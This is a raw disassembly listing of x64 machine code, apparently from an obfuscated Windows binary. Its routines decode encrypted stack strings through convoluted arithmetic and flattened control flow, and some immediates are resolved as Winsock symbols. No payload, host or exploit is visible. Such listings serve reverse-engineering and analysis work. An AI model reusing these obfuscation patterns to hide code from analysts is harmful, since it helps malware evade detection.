sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, 0x36
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + rsi - 0x40]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14007bf62
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007c632
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007bf62
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007c661
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
inc r8
dec rsi
inc rsi
jmp 0x14007bf62
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007c3ea
lea edx, [r9 - 0x54]
mov ecx, 0x26
jmp 0x14007c8de
cmp rbx, rdx
jne 0x14007c69c
lea ecx, [r9 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
jmp 0x14007c8ef
lea r11, [r8 + 3]
cmp rbx, r11
jne 0x14007c6cb
add r9b, 0x6a
movzx eax, r9b
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec rsi
inc rsi
jmp 0x14007bf62
lea rcx, [r8 + 2]
cmp rbx, rcx
jne 0x14007c6f0
lea edx, [r9 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007c99d
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007c427
add r9b, 0x12
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7e
movzx eax, byte [rbp + rsi - 0x40]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14007bf62
cmp rbx, rdx
jne 0x14007c758
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
movzx eax, byte [rbp + rsi - 0x40]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14007bf62
cmp rbx, rcx
jne 0x14007c779
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007c99d
cmp rbx, r11
jne 0x14007c3ac
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec rsi
inc rsi
jmp 0x14007bf62
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x18
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 2
movzx eax, r10b
and al, r9b
mov ecx, 7
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
add cl, r9b
mov byte [rbp + rsi - 0x40], cl
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007bf62
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x14]
jmp 0x14007c9a0
add r9b, 0xe
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x62
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007bf62
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007bf62
add r9b, 0x3a
movzx eax, r9b
and al, r10b
mov ecx, 0x35
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec rsi
inc rsi
jmp 0x14007bf62
sub r9b, 0x62
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x52
inc r8
dec rsi
inc rsi
jmp 0x14007bf62
lea ecx, [r9 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xe
jmp 0x14007c8ef
movzx r9d, sil
lea edx, [r9 - 0x36]
mov ecx, 0x3d
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x62
movzx eax, r10b
and al, r9b
mov ecx, 0x29
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + rsi - 0x40], cl
inc r8
dec rsi
inc rsi
jmp 0x14007bf62
lea ecx, [rsi + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007bf62
movabs rax, 0xae2329f4e29ee3be
add rax, rsi
and r11b, al
add r11b, r11b
sub al, r11b
lea edi, [r10 + rax]
sub dil, 0x32
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007bf62
movabs rax, 0xf937cb4cb042b122
add rax, rsi
and r11b, al
mov ecx, 9
sub cl, r11b
lea edi, [rcx + rcx]
add dil, al
movzx r9d, sil
add dil, r10b
sub r9b, 0x66
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x36
add cl, r9b
movzx eax, cl
mov byte [rbp + rsi - 0x40], al
inc r8
add rax, r8
sub rsi, rax
lea ecx, [rsi - 0x18]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x58
add r10b, cl
mov byte [rbp + rsi - 0x40], r10b
inc rbx
mov rax, r12
sub rax, rbx
add rsi, rax
movzx eax, byte [rbp + rsi - 0x40]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14007bf62
movabs rax, 0x8f610dfc4b8a4bea
add rax, rsi
and r11b, al
add r11b, r11b
sub al, r11b
lea edi, [r10 + rax]
sub dil, 0x66
movzx eax, byte [rbp + rsi - 0x40]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14007bf62
sub r9b, 0x7a
movzx eax, r10b
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007bf60
sub r9b, 0x16
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x66
jmp 0x14007bf50
lea rdx, [rbp + 0x1790028]
jmp 0x14007ca86
lea rdx, [rbp + 0x1671976]
jmp 0x14007ca86
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x140]
call fcn.14003a84c
nop
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x1f0]
call fcn.14006f0f0
nop
lea rcx, [rbp + 0x140]
call fcn.14002f1f0
lea rcx, [rbp + 0x2b8]
call fcn.1400861c0
nop
mov rdx, r15
lea rcx, [rbp + 0x160]
call fcn.14006e4b0
mov rdx, rax
lea rcx, [rbp + 0x300]
call fcn.140073860
nop
mov rdx, r13
lea rcx, [rbp + 0x180]
call fcn.14006e4b0
mov rdx, rax
lea rcx, [rbp + 0x2e0]
call fcn.140073860
nop
mov dword [rbp + 0x50], 0xfaca8e8f
mov dword [rbp + 0x54], 0xcf89c0f4
mov dword [rbp + 0x58], 0x85cec0ff
mov dword [rbp + 0x5c], 0xb0fec5fc
mov dword [rbp + 0x60], 0xf7fbc6f8
mov word [rbp + 0x64], 0x5589
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x66], xmm0
mov dword [rbp + 0x76], eax
mov byte [rbp + 0x7a], al
movzx edi, byte [rsp + 0x20]
nop dword [rax + rax]
call fcn.140068228
mov rbx, qword [rax]
call fcn.140068230
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x2b
jae 0x14007d65f
movzx r10d, byte [rbp + r11 + 0x50]
mov r14d, r10d
movzx r9d, r11b
nop word [rax + rax]
movzx esi, r9b
cmp rbx, r11
ja 0x14007d656
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007cba9
movabs rcx, 0x7d7d646a23fc4310
add rcx, r11
mov rax, rcx
and rax, r14
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r14
sub dil, 0x70
jmp 0x14007cbd6
je 0x14007d5e1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007d5ae
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007d571
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007d54b
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14007d64d
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x14007cc0a
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x14007cc40
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007d50b
cmp rbx, rcx
je 0x14007d4e5
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007d4c8
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007d49b
nop word [rax + rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14007d176
nop dword [rax]
lea rcx, [r8 + 0x28]
cmp rbx, rcx
je 0x14007d15b
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007d13d
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14007d117
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14007d228
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007d0fa
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007d0cd
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007d0b2
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007d1d8
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007d086
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14007cc50
mov rbx, rcx
lea r8, [rcx + 0x7a]
lea rax, [r8 + 0x41]
cmp rcx, rax
jb 0x14007d630
lea rax, [r8 + 0xa]
cmp rcx, rax
jb 0x14007d613
lea rax, [r8 + 0x1000]
cmp rcx, rax
jb 0x14007ce43
lea rax, [r8 + 6]
cmp rcx, rax
jb 0x14007ce24
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x14007ce05
lea rax, [r8 + 3]
cmp rcx, rax
jb 0x14007d03d
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x14007cff0
lea rax, [r8 + 0x2a]
cmp rcx, rax
jb 0x14007cfb3
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x14007cf8e
lea rax, [r8 + 0x7a]
cmp rcx, rax
jb 0x14007cc50
lea rbx, [r8 + 8]
lea r8, [rbx + 9]
lea rcx, [r8 + 0x3e8]
cmp rbx, rcx
ja 0x14007cf62
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007cf45
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14007cf2a
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14007cefd
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14007cee8
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007cecb
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14007cea5
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007ce7c
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14007ce5e
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14007cc50
mov rbx, rcx
lea r8, [rcx + 0x400]
jmp 0x14007cc50
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007cc40
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007cbe0
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x14007cb70
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x14007d521
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007cb53
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007cb53
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007d587
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
jmp 0x14007d5c9
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007cb53
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x14007d437
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x14007d462
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14007cb53
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
mov byte [rbp + r11 + 0x50], dil
inc r11
jmp 0x14007cb53
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
cmp r8, 0x3e8
jb 0x14007cfa6
lea ecx, [r9 + 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x40]
jmp 0x14007d521
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, 0x38
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 8
jae 0x14007d409
lea rcx, [r8 + 9]
cmp rbx, rcx
jbe 0x14007d336
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007cfc9
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [rbx + r8]
cmp rax, 0x28
je 0x14007d426
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x14007d245
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
jmp 0x14007cfff
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14007cb53
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14007d437
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007cb53
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007d5c6
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007cb53
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
inc r8
dec r11
inc r11
jmp 0x14007cb53
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x14007d521
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x14007d19a
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14007d057
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007d1cf
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14007cb53
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007d1f5
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x14007d462
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007d21b
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007d5c6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007d057
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007d587
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007d26d
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, 0x38
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007d521
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007d299
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
dec r11
inc r11
jmp 0x14007cb53
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007d2d2
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007cb53
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007d2fa
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007d437
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007d00a
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, 0x38
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14007cb53
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007d36e
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14007cb53
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007d397
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007d462
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007d3bb
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x14007d437
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007d3e1
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x14007d5c9
cmp rbx, rcx
jne 0x14007cfc9
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007d521
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x14007d587
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x60]
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x50], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x40
add cl, r10b
mov byte [rbp + r11 + 0x50], cl
inc rbx
mov rax, r12
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14007cb53
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007cb53
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, 0x38
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007d5c6
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007cb53
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x10
add r9b, r10b
mov byte [rbp + r11 + 0x50], r9b
inc r8
dec r11
inc r11
jmp 0x14007cb53
add sil, 0x10
movzx eax, sil
and al, r10b
add al, al
sub sil, al
lea edi, [r10 + rsi]
sub dil, 0x70
inc r8
dec r11
inc r11
jmp 0x14007cb53
lea edx, [rsi - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub sil, 0x70
movzx eax, sil
and al, r10b
mov ecx, 8
sub cl, al
add cl, cl
add cl, sil
add cl, dil
add cl, r10b
mov byte [rbp + r11 + 0x50], cl
jmp 0x14007d5c9
sub sil, 0x50
movzx eax, sil
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007cb53
movabs rax, 0x78782d3e6bf4c930
add rax, r11
and r14b, al
add r14b, r14b
sub al, r14b
lea edi, [r10 + rax]
sub dil, 0x50
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14007cb53
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
jmp 0x14007cb50
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
jmp 0x14007cb40
lea rdx, [rbp + 0x17d0f10]
jmp 0x14007d663
lea rdx, [rbp + 0xf95220]
jmp 0x14007d663
lea rdx, [rbp + 0x50]
lea r8, [rbp + 0x2b8]
lea rcx, [rbp + 0x278]
call fcn.140068980
nop
mov dword [rbp + 0x80], 0xd4e3dd96
mov dword [rbp + 0x84], 0xd1d5cad7
mov word [rbp + 0x88], 0x88e0
mov byte [rbp + 0x8a], 0x3a
xor eax, eax
mov qword [rbp + 0x8b], rax
mov byte [rbp + 0x93], al
movabs r14, 0x1c95977c89ad9c36
movzx edi, byte [rsp + 0x20]
nop dword [rax]
call fcn.140068228
mov rbx, qword [rax]
call fcn.140068230
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x14
jae 0x14007e153
movzx r9d, byte [rbp + r11 + 0x80]
mov edx, r9d
movzx r10d, r11b
nop dword [rax]
movzx esi, r10b
cmp rbx, r11
ja 0x14007e14a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007d720
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x7a
jmp 0x14007d740
je 0x14007e0d5
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007e0b2
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007e06c
movzx r10d, r11b
cmp r8, r11
ja 0x14007e141
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x14007d76e
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
jmp 0x14007d7a2
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007e04f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007e029
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007dff6
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007df6f
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14007dd33
nop
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007dd13
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007dced
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007dcca
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007dcae
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007dc91
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007dc64
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007dc48
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14007dc28
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007dbf9
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14007d7b0
lea rbx, [r8 + 3]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14007e124
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14007e107
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007d99d
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007d982
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14007d967
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14007dba5
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007db5c
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007db1a
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14007daf2
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007d7b0
lea rbx, [r8 + 3]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14007dac3
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007daa3
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007da87
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14007da5a
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007da3d
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007da21
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14007d9fe
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007d9d8
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14007d9b8
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007d7b0
lea rbx, [r8 + 3]
lea r8, [rbx + 4]
jmp 0x14007d7b0
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
jmp 0x14007d7a2
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
jmp 0x14007d744
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
jmp 0x14007d6f0
add r10b, 0x70
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x10
add dil, r10b
jmp 0x14007e085
add r10b, 4
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1c
inc r8
dec r11
inc r11
jmp 0x14007d6d3
sub r10b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
dec r11
inc r11
jmp 0x14007d6d3
lea edx, [r10 + 0x2c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x34
jmp 0x14007df2d
sub r10b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x14007e011
add r10b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007d6d3
lea edx, [r10 - 0x18]
movzx eax, r9b
and al, dl
add al, al
